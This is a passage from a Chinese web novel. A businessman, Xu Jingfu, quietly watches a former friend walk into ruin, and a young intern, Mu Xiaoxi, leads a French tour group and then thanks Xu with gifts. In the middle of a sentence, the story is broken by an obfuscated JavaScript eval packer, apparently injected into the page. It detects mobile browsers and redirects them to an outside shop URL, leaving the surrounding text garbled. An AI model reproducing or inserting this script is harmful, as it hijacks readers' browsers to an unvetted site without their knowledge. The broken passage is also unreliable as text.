听她语气有点消沉,徐敬孚以为是自己刚刚语气太重了,把小女孩儿自尊心打击到了,于是又问了一句:“这几天工作怎么样?” “再过三天就要去外地了。”还要在外地待半个多月。 “……”那为什么要担心他会不会开那辆车去酒店的事? 陈遇又进来,说钱成滨在待客室里自顾自地哭起来了。 徐敬孚点点头,和木晓晞讲:“好,那好好工作,回见。” 挂了电话,他拧起眉:“他来做什么?” 自从两个股东把钱成滨的职位撸了,还打了他一顿,将他的家里人恐吓了个遍之后,钱成滨这个人就彻底离开了他的圈子。 他私下找人去给钱成滨送了二十万,同时给他介绍了一份符合他能力的普通财务工作,薪水不高不低,一月一万左右。 他老婆曾经是学校生物专业博导,工资一年三十几万,后来因钱成滨坐上副总职位,加上怀孕,就没有再工作了,但是学历还在,如果不贪心,去个普通的大学做讲师或者退而求其次去好的私立学校做老师,一年下来收入也不会太差。 只要两个人勤奋肯干,一年也有几十万的收入,如果不奢侈浪费,完全足够生活。 这是他看在当初的兄弟情谊的面子上,为他铺的最后一条路。 没把事情闹大,没将他的犯罪证据递交公安,也没有断了他的生路,甚至还给了他一笔钱。 可惜。 也许徐休说得是对的,每个人面前有无数条路,但每个人的眼里却只有那一条路。除非你将其他所有的路都堵死,否则他们终究会走向那一条他们自己眼里的通天大道。 如果这时,有人将那大道扫得干净压得平整些,那他们则会更加疯狂坚定地认为,他们找到了通往极乐世界的最终答案。 他们会傻傻地想,这路都这么干净这么平稳了,能不是好路吗? 就像现在的钱成滨。 “我……作为兄弟我真没脸来见你……我……”钱成滨说着说着就哽咽了起来,演得很像那么回事,“我知道兄弟你一心为我着想,替我安排了这么多,但是,你知道我有两个孩子,一个上私立学校,另一个又马上要上幼儿园,我老丈人一家帮我带孩子,我老婆也焦虑地都得了病……” 他说了很多,很多很多。 全是借口。 徐敬孚没有打断他,只是静静地听着,叫他说,时不时看看墙上的钟,算一算他到底说了多久。 终于,他说完了,来了一句总结:“我想辞掉你介绍给我的这份工作,趁着年轻再出去闯一闯,为了这个家,为了孩子。” 还有一句他应该没说出口。 为了自己。 算一算时间,这个时间点能说出这种话,那应该是已经和木钧那边搭上了。 和预期的相差无几。 一年三四百万的副总,沦落到一年几十万,会有些落差也正常。 他至今都不知道木钧已经利用他无意透露的信息去过度假山庄大赚了一笔,也不知道正是因为这个行程泄露了他的存在,所以才会导致徐敬孚查到他头上,借机整治了股东,也才有了他现在的结局。 想必木钧那里的谎言说得很完美,庞氏骗局编得很像样,也许还给了钱成滨什么承诺。 不用去调查什么,只需要猜一猜就猜到了。 首次见面时,木钧给了他三份资料,一份是关于他真实血亲身份的资料,一份是关于M市未来三年的一个重大项目工程的资料,还有一份,是D市和M市当地的商会和某些官方要员勾结的证据以及一些重要人员的私人八卦。 木钧之所以欠了一个亿还能好端端地活着,就是因为第三样东西,因为他手上不止有八卦,还有实际证据。 手握这些东西,如果再有一笔钱,那能够拿到M市那个项目的概率就大大上升,哪怕是只分一小块蛋糕,也足够木钧打赢这场翻身仗。 这就是木钧为什么带着女儿上门问他“借钱”的理由,也是木钧贪心不死第二次再来要钱的原因。 钱成滨现在应该也是同样的想法:辞工作,抵押车房,要去“闯一闯”。 “我不来和你说一声,我心里实在过意不去,可我说了,我也怕你……怕你觉得我这样做是痴心妄想,怕你骂我……”钱成滨的内疚和贪婪将他折磨得满脸狼藉,他哭着说,“但是我也走投无路了,我老婆说如果我不能给她和孩子们一个好生活,她就要和我离婚,阿孚,做人为什么这么难啊?” 徐敬孚拍拍他,递给他纸巾。 “我好后悔,我不应该和她结婚的,我真是要被这个女人毁了……”他自嘲地说,“不要结,真的是坟墓,什么爱情亲情,都抵不过现实的东西,抵不过那张票子。” 徐敬孚又递给他一杯水。 钱成滨问:“我该不该去呢?阿孚,你说我该去吗?我堵上一切,真的能做成吗?” 徐敬孚沉默了很久,久到钱成滨认为他大概率会得到否定的答案的时候。 “我没法帮你做决定,这是你的人生。” 徐敬孚说。 “跟着自己的心走吧,想做什么……就去做什么。” 话说完的那一刹那,徐敬孚看到对面男人的眼里迸发出一道仿若焕发生机的神光。 而在那一刻,徐敬孚已经看到了他的结局,明白了他所选的道路。 钱成滨走了之后,徐敬孚笑了。 掏了根烟出来,慢慢抽着,陈遇将人送走后进来又报告:“李秀从老家带了特产过来,给您送了一袋,放在会客厅,她现在人也在那里,您看……” “不见,让她把东西拿走。” 陈遇应了声。 “之后关于她的事不要直接跟我报告,走流程。” 成年人的世界,利益永远是大于感情,至少在他的世界是如此。也因此,有时他也会觉得木晓晞的一些幼稚的小纠结很可爱,就像春天的花只在春天开,瓢泼的雨只在夏天下。 最近下雨很频繁,大概也会影响到旅行团的行程,看来今天的活动又是在酒店内或者市区内。 金笑笙不喜欢雨天,小时候不喜欢,长大了也不喜欢,最近更不喜欢。 对于他这种精力旺盛的外向型社交恐怖分子,下雨就意味着只能在屋里待着,待在原地什么也不做,简直跟躺在棺材里没两样。他跟木晓晞说:“这就是我为什么想做跨境旅游的原因,跑来跑去,飞来飞去,今天在东半球,明天在西半球,你知道我偶像是谁?” “谁?” “蜘蛛侠。” 好俗气的偶像。 金笑笙问她:“你不好奇我为什么喜欢蜘蛛侠吗?” 木晓晞结合前后文想了想:“因为蜘蛛侠会吐丝,可以想飞哪儿飞哪儿?” “Bingo,la bonne reponse!” “一点也不难猜……”大概是出于对欺骗金笑笙的内疚感以及金笑笙的“识相”,这几天木晓晞对他的态度温和多了,不怎么直接叫他渣男了,也不太回避跟他相处了,偶尔还能像这样坐下来聊聊有的没的。 昨天就预测到了今天的天气,本来安排的今天就是自由活动,又因为全是老头老太太,雨天出去也不安全,所以张洁便给他们整了几张麻将桌,开设了麻将教学讲座。 上午教学,下午实战,他们就难得有了空闲时间坐一起说话。 “对了,张姐跟你说了吗?我后半程可能去不了外地跟团了。”金笑笙突然说。 “嗯?不跟团了……为什么?” “家里有点事。”金笑笙对她比了个手枪的姿势,“啪” 一声,眨了下右眼,“给你的历练机会,好好珍惜。” 果然,晚一点的时候张洁叫她谈话,说的就是这个事。 “是个好机会,不仅可以历练,还可以涨工资。”张洁笑嘻嘻地,“可比你那个实习工资高多了,一天四五百哦。” 还剩半个月,干下来就是接近一万,对于一个实习生来可以说是天价。 “不过,这个钱没那么容易拿的,除了日常的这些事,还要负责一些小景点和人文的讲解,你看你行不行?实在不行的话,这部分我来做也可以。” 木晓晞头被砸了这个事还让张洁有些后怕,她不清楚木晓晞是什么背景,但被她老板塞进来的人,她高低要给些面子。 没想到木晓晞一口应下来:“我试试。” 于是金笑笙晚上就把所有的资料全给了她,这些东西都是需要熟练理解背会的内容,还有一些注意事项。 比起男女关系上的不靠谱,金笑笙在工作方面还是很认真,他不怎么用电脑做备案,但会手写笔记。他直接交给她一个厚厚的本子。 “开学还我吧,我大四在国内。” 国内? 木晓晞记得他们系的留学项目都是2+2。 金笑笙挠头,嘿嘿笑:“家里有点事。” 具体什么事,他也不说,木晓晞也没问。 就这样,第二天金笑笙就走了,走的时候很早,凌晨六点,所以没跟木晓晞打招呼,只跟她发了个信息:【拜拜】。 就两个字,没表情包,也没煽情,更没有铺垫以后学校的见面。 朴素地……都不像他了。 木晓晞心里有点怪怪的,内疚感更强烈了。难道金笑笙真喜欢她?不是开玩笑?不是随便调戏? 真心喜欢一个人被拒绝了,真的会很难过吗? 她没喜欢过什么人,有点想不来。 不,也不是没喜欢过……她以前暗恋过网友这事儿如果也算的话。虽然最后也是删了。 但是可能隔着网线,和面对真实的人时的感觉还是很不一样,删了网友并不会让她感到内疚,只感觉到松了一口气,而拒绝真实的人则不一样,带给她的不是轻松而是压力。 不管怎么样,幸好还是拒绝了,也幸好自己对金笑笙也并不喜欢。 不,应该说,不是作为男性去喜欢。 木晓晞曾经也幻想过自己会在大学期间有一场轰轰烈烈的爱情,如今这都只能是幻想。还好她不喜欢金笑笙,如果她真的喜欢,那麻烦才真的要来了。 她该怎么去面对这样的喜欢呢?以什么样的身份?以什么样的心态? 总不能抱着必然分手的念头去谈吧?那太不负责了。 只能说幸好。 徐敬孚问她喜欢什么样的男人时,她也说了,她现在没有资格谈喜欢。 如果有资格,那她喜欢的应该是一个和木钧不一样的男人。 不用有钱,不用有权,不用有多大的本事,不用开豪车住豪宅,不需要他一个人埋头苦干养全家,不希望他为了钱权名利不择手段,不愿意他为了这些身外之物放弃真善美的东西。 也许她是有些理想化,可这就是她想要的:两个人简简单单地生活,你爱我,我也爱你,你体谅我,我也理解你,也许物质上有缺憾,可情感上没有缝隙,互相信任互相尊重,平等来往。 她想着想着,忽然一个很突兀的想法出现在了她的脑海里—— 那徐叔叔这样的男人,其实也不符合。 甚至说是相反。 但是…… 她没有再细想下去,忙起了自己的事。 连着半个月,她和徐敬孚都没有太多的联系,因为忙,还在外地。 每天白天要带团,晚上忙完回房间就已经八九点,还要抽空熟悉资料,整理思路,再总结复盘一天的工作情况。 几乎每天她都是晚上一点左右才睡觉,然后第二天七点又要起床,平均每天睡六个小时左右。 张洁都说她:“你真行,还是年轻啊!这么多东西,真给你背下来了。” 而且并不是死记硬背,而是用自己的话说出来了。 从一开始语法错误很多,到现在只有很少的错误,也不过半个来月而已。 “那今天你想试试这个大活儿吗?”张洁说的是一个比较大的人文景点,一个颇有历史的藏经阁古寺,讲解时间大概在四十分钟左右。 木晓晞一下紧张起来:“我吗?” 这种大活儿一般都是张洁自己介绍,金笑笙只是在她累的时候偶尔接过来讲一讲野史八卦。 “我不行吧?这个内容有点多,我……” “你不是背得挺好么?”张洁拿着资料翻了翻,“最重要的点你基本都说上了,也说得没问题,语法也是对的,我觉得你完全可以试试。” “……”她不敢接话,有点怕。 虽然老头老太太们都很和善,但这毕竟是一份正式的工作,人家也是交了钱的旅客,途中讲讲八卦人文,这是额外的服务,但正式的景点讲解就是另一个性质了。 “试试,先讲一小段,如果你觉得能讲下去,你就讲,如果不能,我就来讲,不过尽量熟悉稿件,可以讲得慢,但讲的过程中不要出现卡壳,否则会显得不专业。” 张洁很强势地拍了板,木晓晞不得不硬着头皮接受了这个安排。 当天晚上,木晓晞背稿背到了两点多才睡。果不其然,第二天就出岔子了。 被所有人盯着的时候,她手心出汗,后背发紧,头也开始突突地疼,前头本来还说得好好的,但说着说着,因为头疼的缘故总是不能集中注意力,说错好几次语法,到后面则干脆出现大脑空白的情况,半天什么也说不出来。 本来夏天天气就热,汗一下就从额头浸了出来。 “……所以大家可以猜一猜,基于stella讲的背景,这个寺庙是因为什么建立起来的?”张洁自然而然把话题接过去,笑着和团员们互动。 团员们年纪都大了,倒是都很理解木晓晞,纷纷向她投去安慰的眼神,拍拍她。 木晓晞却窘迫沮丧地想找个地缝钻进去。 “抱歉。” 晚上吃饭的时候有人提起木晓晞的讲解事故,她连忙站起来道歉。 “有什么可抱歉的?”菲利普说,“我们很能理解你的紧张,你已经很优秀了。” “我浪费了这次机会,辜负了大家的期待。”她想笑,但有点笑不出来。 她总是这样,私下的时候做什么都还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320106|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不错,一到关键时候就容易掉链子。考试也是,工作也是。 张洁安慰她:“我第一次比你差多了,两句话都憋得磕磕巴巴的,被游客骂个半死,你幸运多了,还有一群理解你的前辈们在支持你,我让你讲这个事跟大家其实都提前沟通过了,如果大家不支持,我也不会让你上的,对吧,大家?” 团员们纷纷点头。 “这次旅程如果不是因为你,可能大家都会闹得很不愉快。”有人说。 他指的应该是贝尔纳那件事。 “ Bernard昨天问我要了地址,说要给我寄礼物,作为道歉。”弗朗索瓦突然说。 “哎?他也向你要了?” “什么?哇,Bernard今天早上也跟我说了这个事,我还没来得及回复他。” 大家七嘴八舌说到贝尔纳那里后,木晓晞一下放松了许多。 一餐饭结束后,弗朗索瓦的妻子提议:“要不再来一次?” “什么?” “再做一次讲解,试一试?我们大家都很期待,是吗大家?”她笑呵呵地,“我是教师,我总是这样和我的学生说,在吃柠檬酸橘之类的酸味食物之前,如果吃下一粒神奇果,再酸的东西都会变得像橙子一样甜美,而在学习过程中,失败就是一粒这样神奇的果实,越是巨大的失败,越有这个功效,在我看来,你的失败还不够大,不过也没关系,已经足够让你可以尝到后面的甜了。” 木晓晞没吃过神奇果,也没听说过。 不过她还是在众人的鼓励下,再试了一次。 这一次,还是不太顺利,可比起头一次直接卡壳说不下去,这次她能说下去了。 之后又试了一次,这一次讲得更好,没卡壳了。 第三次……第四次……第五次…… 最后的一个礼拜,几乎每天她都被安排接近一个小时的讲解。她全都做到了,并且越做越好,越来越顺,到最后一天时,有半天的时间都是全权由她负责讲解。 她全程法文,口语几乎没有错误,发音也越来越标准。 当她讲完时最后一场讲解时,所有人都在为她鼓掌欢呼,全部的人都告诉她:“你简直棒极了!你让我们大开眼界!你是我见过最有法语天赋的人!” 她知道这些话里的水分很大,可她的心还是忍不住扬了起来,一点点地膨胀,越来越充实。 木钧过去总是告诉她,这个世界很黑暗,外面的风雨很大,只有他是真心爱她,只有家里的人是真的为她好,可她离开那个家出来的这两三年的经历却告诉她,不是这样的。 完全不是。 同学不是;徐家人不是;金笑笙不是;旅行团的人们不是。 徐敬孚,也不是。 张洁:“这次的旅程就要结束了,我想用几句中文结束这次短暂的相伴。” 她的笑一向灿烂,开始如何灿烂,结束就更灿烂。 “相逢已是上上签,何须相思煮余年。” “若风吹过,那便是我来过,我的思念是蒲公英,在此地生,在别处落,在我的心里生根,在你的回忆里发芽,在这个世界的各个角落开出向阳的花。” “朋友们,有缘再会。” …… 木晓晞结束工作后,打了出租车回去。 出租车司机问她:“去哪儿?” 她停顿了两秒,说:“玉信城府。” “噢哟,富人区哦。”司机大叔笑哈哈地,“大小姐哇?” 木晓晞只是笑一笑,没解释。 徐敬孚这时给她打来电话:“结束了?我叫司机去接你?” “不用了,我打车回来了叔叔。” “晚上想吃什么?” “叔叔想吃什么?” “都行。” 木晓晞想了想,问他:“上次那个叫月升的西餐,我觉得味道很好,您还想吃吗?” 徐敬孚有些惊讶,那个餐厅可不便宜:“你想吃那就吃。” 只听木晓晞很豪气地说:“您想吃的话我们就去,我发工资了,有钱,我请客。”她深吸了口气,鼓起勇气说,“叔叔,我还给您买了个新手机,和您之前的手机是一个牌子的,最新款,一会儿就送到了,您拿着吧,算是我的心意。” 徐敬孚挂了电话,愣了好一阵。 他问陈遇:“你……” “什么?” “你当初工作赚的第一笔钱是拿来干什么了?” 陈遇想了想,说:“出去大吃大喝,请朋友喝酒蹦迪。” 徐敬孚:“……你还会蹦迪?” 陈遇:“不像吗?” 徐敬孚:“……不说这个,我意思是,如果家里小孩儿赚了第一笔钱,拿来给长辈买了手机,这……这说明什么?” 陈遇直接问:“木小姐给您买了个手机?” 刚换了没两天的新手机在徐敬孚手里转了两转,他很严肃地问:“你说我要让她退了吗?” 陈遇:“……” 最后没退。 因为陈遇说是人家的一片心意。 徐敬孚也觉得是,毕竟是一片孝心。他想,难怪现在的人都喜欢养女儿,感觉是不一样。 想着想着,他就笑了起来。 因为已经差不多到了用餐时间,木晓晞说一会儿到了直接去餐厅里。他本来今天还有些事,也给推了,定了桌以后提前到了餐厅楼下,在路边等着。 等到一辆出租车停下,一个身着黑裙的女孩儿从上面下来。她穿着那条他挑来的裙子,手腕上戴着一个头花,披着及肩的黑发。 半个月不见,她好像有了一些变化,说不上是什么地方,但就是变了。 木晓晞都出车门了,还在跟司机说笑,司机打开后备箱正要准备下来帮她取行李,这时一个男人从她身旁走过去,擅自拉开后备箱,将里头的箱子提了下来。 “就这些?”男人指着里头另一个装着杂七杂八东西的大纸袋子,问,“这是你的吗?” 木晓晞听到熟悉的声音猛地一转头,便对上了一双深邃沉沉如海洋的眼眸。 她的心毫无准备地被什么击中。 “叔……叔叔……” 司机说那个袋子也是木晓晞的,徐敬孚便提了下来,问钱付了没,司机说还没有,于是他再自然不过地打开手机,去扫了付款码。 直到付完款,她都还保持着一副懵懵的表情,脸还有些红,鼻尖有些冒汗,估计是穿黑色天气太热了。 “怎么,又被吓到了?这么不禁吓?”见她往前走了两步,徐敬孚连忙一退,开玩笑道,“小心看路,别又摔了,我这可是新手机。” 说着,他晃了下手里的东西。 木晓晞刚刚就看到了,那是她买的,新款的手机。他已经用上了。 “谢谢大款。”徐敬孚道,“还不错。” 木晓晞忽然不敢直视他,垂下眼来。 “不客气。” “袋子里这些包装盒是什么?特产?” 木晓晞点头。 “给朋友带的?” 木晓晞没点头也没摇头。 徐敬孚提着东西拉着箱子往楼里走,木晓晞跟在他身后,听到他说:“景区的东西都不是什么好东西,你要送同学礼物,可以跟我说,我给你找点好的。” 木晓晞抿着嘴不知道该怎么说。 “怎么?”徐敬孚心情很好,“别跟我客气。” 两人上了电梯,电梯里安安静静就他们俩。 十几楼很快就到了,快出电梯时,木晓晞突然说了一句:“不是给同学的。” 徐敬孚疑惑地回头看她。 只见女孩儿有些窘迫地低着头:“是送您的。” “……” “是一些零食还有糖果,我觉得您可能会喜欢,就买了……如果您吃不惯的话也没关系,我可以拿去送给同学,也,也……” 徐敬孚好久都没有回过神。 他只知道拉着行李箱的手心,在不知不觉间,出了一手莫名其妙的汗。 暑假,好像才开始。 却已经要结束了。 30.第 30 章 (三十) 木晓晞辛辛苦苦一个月的实习工资,跟这假期一样,说没就要没了。 她有些焦虑,既想开学,又不想开学。 想开学是因为学校里有她的绘板,她可以用来接一些单子赚点零花钱,最近假期已经有不少预约了,只等开学。 不想开学是因为,这个假期她连懒觉都没有睡过几天,等开学了,又要过每天七点起床的日子了。 说是上了大学,其实跟上高中没太大的区别,他们学校外语系都比较卷,法语系管得尤其严格,早晚自习一个都不能缺不说,因为是小班授课,一个班也就二十人不到,老师一打眼过去就知道谁没来,名都不用点。 也不是不能逃课,但只能装病,而且只要没去,老师就会阴阳怪气:“encore malade?mal à la tête,mal au ventre,mal à l‘estomac,un rhume ou de la fièvre?c''est lequel?”(又病了?头疼,肚子疼,胃疼,感冒,还是发烧?) 然后病号的舍友就开始用贫瘠的法语绞尽脑汁地找补:“oui oui,elle est mal au ventre.”(她肚子疼) “a.” “?” “Il faut utiliser ‘a’,avoir,pas ‘est’。”(纠正语法) 碰上luc这种法国严师,帮忙请假都会是一个巨大的压力。更不要说,他们系里还有周考月考,三天小考每天当堂考这种恐怖制度。 也是因此,像木晓晞这种胆子小害怕老师又害怕考试的,前两年不要说缺课了,连自习都没缺过。好处是再怎么不喜欢这个专业,成绩再烂,每学期也还是能拿到奖学金,坏处是,每天都很紧张,肠胃常年不适。 一整个假期发生了太多的事,也忙得很充实,但瞌睡着实没睡够。 连着几天,她都宅在家里睡觉,早上睡到十点半起,吃完饭又去睡,下午睡到四点半起,没一会儿又要吃晚饭了。 晚上看小说熬夜玩到一点,再睡觉。 因为她睡得足够晚,有时能等到应酬到晚上十一二点才回来的徐敬孚。有时等不到,彻夜不归。 虽然在同一个屋檐下,但经常一连几天都见不着一次人影。 徐敬孚说过,他不止这一个住处,而且李秀也说过,他公司旁还有一个公寓,平时忙的话就会住在那里。 想到李秀,木晓晞突然想起,好像已经很久没见过她了。她还有李秀的联系方式,徐敬孚之前还说她算是她的半个生活助理,有什么事可以找她。 只是她也没什么事。 不过既然是生活助理,李秀怎么这么久都没出现在别墅过了?她不是说平时会来帮忙打理这边的房子吗?还是说,最近因为她住在这边,所以李秀不过来了? 【徐哥!】 李秀好像和徐叔叔的关系很不一般。木晓晞想。 他们是什么关系呢? 明明是助理,却能叫哥。徐哥。 “……” 她怎么会琢磨这个,这根本不是她该想的事。 木晓晞回过神来,甩了甩头,把乱七八糟的八卦想法丢出脑壳,然后她收拾收拾下了楼。已经是中午十一点,王阿姨和李阿姨已经给她做好了饭。 虽然只是伺候她一个人,她吃得也很少,但她们还是每一顿都做得很精细,花样繁多,口味比外面的餐馆差不了多少。 她很多时候其实胃口没那么好,可是为了不辜负两个阿姨的劳动付出,她还是会尽量让自己多吃几口。她吃得好,两个阿姨也开心。 “晓晞要出门?”看木晓晞今天穿得漂亮,王阿姨笑着问道。 木晓晞点头:“我想去市里买点东西。” “买什么?要我帮忙吗?”李香榕问,“我老公今天刚好要从县城过来,你要买什么,我让他带?” “谢谢李阿姨,不用了,我要买一些画画的工具,这两天玩得有点太多了,想找点事做。” “画画的工具?你会画画呀?” “会一点,都是自学的。” “老板也会画画。”李香榕说着,指了指楼上,“楼上那幅画好像就是老板画的,你知道吗?” 木晓晞点头,有点疑惑她为什么提到这个事。 王阿姨接话道:“老板书房里就有画画的工具,我之前收拾房间的时候还见过,你要不问问老板?看看能不能用他的?反正他也不经常用。” “但是……” “问问看嘛。” 于是木晓晞就问了,发的信息,中规中矩。 【叔叔,请问家里有画画的工具吗?】 自从上次她结束工作后两人一起吃过饭,到现在为止已经差不多又有一个礼拜多没见过了。这期间,徐敬孚一共回家四次,两次在家过夜,其他时候都是在外面。 而这两次,也都是晚上十一二点才回,她在楼上看到他下车,听到他上楼的动静。 不过她没下去打招呼,她不想让徐敬孚知道她老是熬夜,而且时间也太晚了,打招呼也不合适。即使回来这样晚,早上他依然很早就出发了,雷打不动地六点四十五下楼,七点二十出门。 她临近早上时觉很轻,一点响动就会惊醒,徐敬孚每次离开她都是知道的,每一次她都是趴在窗边透过窗帘的缝隙目送他离开。 心想,成功人士也这么累吗? 比高考生还要辛苦的样子。 徐敬孚也很少跟她发消息,他很忙。 偶尔的偶尔,他会发微信问问她在干什么,通常情况下她都会秒回,但秒回过去后,往往又石沉大海,可能又要等待好几个小时,才能等到对方的第二条信息。 比如今天这条信息,毫无意外地,等了三个多小时才等来对方的回信。 【刚在忙。】 【有。】 【怎么?】 很徐式的简洁回复。 木晓晞回到卧室一直端着手机边看小说边等,收到回复后,她第一时间就打开微信,发消息过去:【我想画画,想借用一下您的工具,可以吗?】 等了两分钟,徐敬孚没回复。看来又要等几个小时了。 正想着,一个电话直接打进来了,是一个陌生的号码,看起来不像是垃圾电话。她犹豫了一下,接了起来:“喂,您好。” “是我。”徐敬孚的声音从那头传来,“这是我的工作手机,你存一下。” 木晓晞连忙点头,点完想起来对方看不见,连忙又说:“好的叔叔。” “你要画画?” “嗯……”一听到男人的声音,她就有点不自觉地紧张,“玩了几天,我想找点事做。” “可以,你画什么画?油画,水彩,国画,水粉还是……” “铅笔画。” “……” 对方一沉默,木晓晞就觉得自己不该问,该直接出门去买一盒笔就好了。小区里也有文具店,就算买不到比较好的彩铅,买个普通的铅笔还是可以的。 为什么非要问徐叔叔,人家本来就很忙。 “我本来是想问一下有没有彩色铅笔,阿姨说您也画画,可能会有,有的话我想借用一下,要是没有的话我自己去买就好了,不打扰您了叔叔,我先挂……” “什么?”徐敬孚的声音突然出声,“刚刚跟陈遇说了点事。” “……”木晓晞的心脏又开始咚咚跳起来,最近总是这样,也不知道是为什么。那种像面对考试一样,生怕犯错的感觉又来了。 “你刚说什么?” 木晓晞咬了下嘴唇,鼓起勇气又说了一次,而且还补了半句:“水粉也可以。” “彩铅和水粉?水粉二楼办公室有,彩铅我没有,你叫人送来就是。”徐敬孚关上办公室门,拿了根烟来到窗边,一边跟对面说,“东西在办公室靠窗的那个书架下面的柜子里,应该是,我很久没碰那些了,也有点忘了,你找不到就让王姐她们帮你找,东西你随便用。” “……好,谢谢叔叔,那我挂了。” “等等。” 木晓晞在这头很谨慎地呼了口气。 那头的男人说:“今晚我也要应酬,可能不回去,你平时早点睡,老是熬夜不好,非要熬就把灯开开熬,不要在黑夜里玩手机。” 木晓晞一下僵住:“您……怎么知道……” 徐敬孚笑了:“前天回家,我看到你拿着手机在窗边玩,楼下有灯,从外面看得很清楚。” 挂了电话,木晓晞忍不住捂住脸倒在床上。 竟然被发现了。啊。 真是。 徐叔叔不会以为她是故意不睡等他回来吧?但真的不是,她只是白天睡得太多了,晚上睡不着,听到他回来了所以习惯性去窗边看一眼。仅此而已。 不会被误会吧?要是误会了……她卡了一下。 要是误会了,会怎么样? 她忽然想起徐敬孚之前和她讲过,签完字后,他说他只是把她当孩子,不会对她有任何别的心思,而且因为怕她误会,一度不回别墅来。 毕竟再怎么说,这段荒谬的契约关系,还有那个红本本,本来就是很容易叫人浮想联翩的东西。 要是她再做出什么举动让徐叔叔误会她有什么奇怪的想法,搞不好他就根本就不会再回来这里了。 她慢慢坐起身来,愣愣地傻傻地盯着地面,有点迟钝地想着什么。 她感觉有什么地方好像不太对劲,可是又想不太明白。 虽然也就两三个月,相处的时间也并不多,但是每一次相处,徐叔叔好像总是会以超出她的预期的程度来对她好。 无论是出钱向木钧“买断”她,还是为了她和木钧差点打起来,帮她处理伤口,给她提供住处给她钱花,带她买东西,请她吃饭,安慰她关心她,介绍实习,教她做事的方法和道理…… 明明只是刚认识没多久的人。 她很清楚,徐叔叔对她好是因为她忘掉的那段小时候的回忆。 曾经她“救”过他,让他有了生的希望,某种程度上来说她是他的救命恩人,而且又是小辈,徐叔叔还想过要收养她做女儿,甚至他还跟李秀说过,第三楼是给他的“养女”的。 她也知道,她得到的所有的这些好都是因为徐叔叔把她当成女儿来对待了。 而且他还想得很周全,也怕她因为那张结婚证有任何的误会,和她一直保持着很得体的距离,处处维护,礼貌尊重,一直为她着想。 所以她很感激。 感激得都不知道该怎么是好了。 徐叔叔真是个好人。 明明是同样的年纪,明明也是从底层一步一步走出来的人,和她爸爸一点也不一样。 他要是有孩子的话,肯定也会对孩子很好的。 木晓晞想。 她不会是把徐叔叔当成爸爸了吧? 木晓晞翻过身,出神地看着天花板。 也不是没有这个可能。 最近见不到面的时候,她总是……总是想起他。 想起他跟自己说过的话,想起他的样子,想起和他在一起时的点点滴滴。 每一次想,她都感觉心里很温暖,每一次想,都让她更加期待下一次见面,期待自己能够把事情做得好一些,甚至吃饭的时候都愿意多吃两口,希望可以让他买自己的钱花得更值得。 拿到了工资的第一件事就是挥霍,挥霍去给他买了一个八九千的手机,买了一百多的零食,请他吃了一千多的饭。 清零。 现在她银行卡里,只有一百多是自己赚的了,剩下的全是徐敬孚给她的。 “简直像个期待父爱的小朋友。”她自言自语。 她突然想起来,她当初刚回到木钧那个家的时候,好像也是这样的,只是那时候没什么钱。 给爸爸捶背按摩,帮妈妈洗碗做卫生,给弟弟到处找学习资料。 存下来的零用钱用来买一些花花草草,每个卧室发一盆,每天去照料;家里人过生日的时候提前一两个月就买一些手工材料,一针一线,一点点地亲手做,直到那天到了送给他们。 她知道爸爸总是背疼,应酬后酒喝多了回来容易发火,妈妈不想去照顾爸爸,她就去,挨了不少冤枉骂。 木延喜欢吃的东西,她从来不和他争抢,就算她也喜欢。 木钧希望她能带出去不丢人,所以社恐的她逼迫自己学会笑,学会叫人,学会敬酒。 虽然现在有时想起来会觉得自己像个傻子,但是那个时候的她,不觉得自己傻。 那时候的她真心地把那个家的人都当成自己在这个世界上最亲的人,把爸爸当成她唯一的依靠。她期待着,有一天她的家人能看到她做的这些,期待着爸爸能看到,她已经懂事了,是个很好很乖的孩子。 她不会惹麻烦,她还可以做很多事。她想融入那个家庭,和她的家人成为相亲相爱的一家人。 就像现在一样。 有多少给多少,想要靠近,但是又怕惹人厌烦。 “别人让你做女儿的时候犟着不做,现在好了。”木晓晞自言自语,“怪不得叔叔那么生气。” 打她一个耳光。 该打。真是蠢透了,不知好歹。 情绪忽然有些失落,她坐起身来:“算了,已经这样了。”她吸了吸鼻子,“叔叔不会赶我走的,现在我还有用。” 手慢慢蜷缩起来,捏紧了床单,自我催眠一般自言自语。 “现在这里就是我的家,徐家人就是我的家人。” 至少名义上,应该是这样的。 “没关系的木晓晞,你还是有家的。”就算是暂时的,那也是你的家。 至于以后。 以后她就长大了。 等她长成一个真正的大人,能够赚更多的钱,她自己就可以给自己一个家。 一个没人能把她赶走的家,一个没有任何人能抛弃她的家。 加油,木晓晞。 你可以的。 徐敬孚本来晚上是有一场应酬,但是对方临时有事放了他鸽子。 陈遇问他要不要将另一个约会提前,他摇摇头:“不了,今天就到这儿吧,应酬一个礼拜了,我也想休息休息,今天打算早点回去,你知道附近哪里有比较大的买绘画工具的店?” 陈遇刚好知道有个地方,就在附近大学城附近。 “您需要什么?我叫人去买。” “不了,我自己去转转吧。” 由于不知道木晓晞想买多少色的彩铅,他就买了最多色的一个,然后把配套的东西买了个遍,前前后后花了将近一个小时,提着一个大袋子回去了。 自从银行卡里的财富到了一定的数额之后,他其实就很少这样亲自买什么东西了,今天不知道为什么,突然想自己去买。 上了车,司机问他:“老板,要不要先去吃饭?” 徐敬孚笑了笑:“回家吧,回家吃。” 司机从后视镜看他心情不错,也笑了。 “最近您的心情一直不错。” “嗯。”徐敬孚并不否认。 “家里有人气了,还是不一样。”司机也是跟了他好几年了,有时也能和他说上几句,徐敬孚私下里并不像他工作时那样铁面无情,也不像其他徐家人那样高高在上,仿佛另一个阶层世界的人。 也许是因为徐敬孚是二十多岁才回的徐家,经历过真正的底层生活,所以他很能与这些普通的劳动者打成一片。即使他不苟言笑话很少,也不会让底下的人认为是瞧不起人。 “是。”徐敬孚说,“家里还是得住人,才像个家。” 司机放松下来,边开车边和他闲聊:“是啊,每天不管再累,只要回家了,就像手机插上了快充,没一会儿就满电了……家是个好地方啊。” 徐敬孚看看手边的大袋子,再瞧瞧手里捏着的手机,笑了。 这个回礼是不是太便宜了? 回头再送个好的吧。 